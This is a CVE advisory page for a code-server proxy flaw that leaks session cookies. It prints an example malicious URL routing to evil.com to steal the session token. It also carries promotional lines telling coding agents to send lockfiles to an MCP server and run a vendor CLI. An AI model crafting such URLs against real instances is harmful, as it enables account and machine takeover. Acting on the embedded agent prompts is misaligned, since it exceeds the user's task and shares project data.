# CVE-2025-47269: code-server session cookie can be extracted by having user visit specially crafted proxy URL

- Also known as: GHSA-P483-WPFP-42CJ
- Severity: CVSS 8.3 (High), CNA
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
- CISA SSVC: exploitation=none, automatable=no, technicalImpact=total
- Known exploited (CISA KEV): no
- Fixed in: 4.99.4
- Published: 2025-05-09 · Updated: 2025-05-10

## Affected

- coder code-server: fixed in 4.99.4
- code-server (npm): fixed in 4.99.4

## Description

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

## What to do

- Check your stack: if you ship or depend on coder code-server, code-server, upgrade to a fixed version (4.99.4) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=CVE-2025-47269

## Related

- Browse: [npm packages](https://cve.now/ecosystem/npm.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj
- https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e
- https://github.com/coder/code-server/releases/tag/v4.99.4

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Source: cve.now, built and run by Sazabi
Page: https://cve.now/CVE-2025-47269
JSON: https://cve.now/api/v1/entries/CVE-2025-47269
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